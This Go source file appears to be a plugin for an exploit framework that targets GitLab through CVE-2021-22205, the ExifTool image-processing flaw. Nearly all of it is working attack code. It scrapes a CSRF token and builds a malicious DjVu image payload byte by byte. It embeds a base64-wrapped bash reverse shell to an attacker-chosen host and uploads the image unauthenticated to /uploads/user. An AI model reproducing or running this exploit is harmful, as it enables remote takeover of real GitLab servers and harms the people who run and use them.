package CVE_2021_22205
import (
"bytes"
"context"
"encoding/base64"
"encoding/binary"
"expgo/plugins/api/req"
"expgo/plugins/api/types"
"expgo/plugins/api/util"
"fmt"
"net"
"net/url"
"regexp"
"time"
"log"
)
var (
pluginType = "custom"
vulType = "reverse-shell"
name = "CVE-2021-22205"
component = "gitlab"
author = "akkuman"
description = "在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令"
references = []string {
"https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md",
}
tags = []string {
"gitlab",
"rce",
}
)
var opts = types.NewOptions()
func init() {
opts.String("target", true, "目标", "", func(i interface{}) bool {
target := i.(string)
_, err := url.Parse(target)
return err == nil
})
opts.String("rshell", true, "反弹shell地址", "", func(i interface{}) bool {
rshell := i.(string)
_, err := net.ResolveTCPAddr("tcp", rshell)
return err == nil
})
}
func getCSRFToken(c *req.Client, target string) (string, error) {
pattern := regexp.MustCompile(`csrf-token" content="(.*?)" \/>`)
resp, err := c.R().
SetHeader("Origin", target).
Get(util.URLJoin(target, "/users/sign_in"))
if err != nil {
return "", err
}
if resp.StatusCode() != 200 {
return "", fmt.Errorf("状态码不匹配")
}
matches := pattern.FindStringSubmatch(resp.String())
if len(matches) < 2 {
return "", fmt.Errorf("csrf token 未找到")
}
return matches[1], nil
}
func calc(cmd string, offset int) []byte {
l := len(cmd)+offset
d := make([]byte, 4)
binary.BigEndian.PutUint32(d, uint32(l))
return d
}
func getPayload(cmd string) []byte {
payload := "\x41\x54\x26\x54\x46\x4f\x52\x4d"
payload += string(calc(cmd, 0x55))
payload += "\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61"
payload += string(calc(cmd, 0x2f))
payload += "\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b"
payload += cmd
payload += "\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a"
return []byte(payload)
}
func exploit(ctx context.Context, params map[string]interface{}) (types.PluginResult) {
c := req.NewHttpClient(ctx)
target := params["target"].(string)
rshellAddr, _ := net.ResolveTCPAddr("tcp", params["rshell"].(string))
log.Println("准备获取csrf token")
token, err := getCSRFToken(c, target)
if err != nil {
log.Println(err)
return types.MissPluginResult
}
log.Println("准备反弹shell...")
cmd := fmt.Sprintf(`sh -i >& /dev/tcp/%s/%d 0>&1`, rshellAddr.IP, rshellAddr.Port)
cmd = fmt.Sprintf(`bash -c '{echo,%s}|{base64,-d}|{bash,-i}'`, base64.StdEncoding.EncodeToString([]byte(cmd)))
payload := getPayload(cmd)
reqCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := c.R().
SetContext(reqCtx).
SetHeader("X-CSRF-Token", token).
SetMultipartField("file", "test.jpg", "image/jpeg", bytes.NewReader(payload)).
Post(util.URLJoin(target, "/uploads/user"))
if reqCtx.Err() != nil {
log.Println("反弹shell成功")
return types.HitPluginResult
}
if err != nil {
log.Println(err)
return types.MissPluginResult
}
log.Println(resp.String())
return types.HitPluginResult
}